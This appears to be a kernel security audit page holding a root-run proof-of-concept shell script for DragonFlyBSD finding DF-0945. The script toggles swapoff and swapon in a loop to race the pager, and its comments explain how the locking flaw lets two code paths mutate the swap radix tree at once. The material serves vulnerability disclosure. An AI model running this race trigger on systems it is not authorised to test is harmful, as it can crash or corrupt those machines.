DragonFlyBSD Kernel Audit
DF-0945 / swap_toggle.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0945 PoC: root-side swap toggle to race the pager stressor.
# Run alongside several ./stress instances.
#
# Each iteration enters swapoff_one() which (under only swap_mtx) calls
# blist_fill() on the global swapblist while the pager concurrently calls
# blist_allocat()/blist_free() under only vm_token. Neither lock nests the
# other -> concurrent radix-tree mutation.
DEV="${1:-/dev/vbd0s1b}"
ITERS="${2:-200}"
echo "[*] toggling $DEV $ITERS times while pager is under pressure"
i=0
while [ "$i" -lt "$ITERS" ]; do
    i=$((i + 1))
    swapoff "$DEV" 2>/dev/null
    swapon  "$DEV" 2>/dev/null
done
echo "[*] swap_toggle done after $i iterations"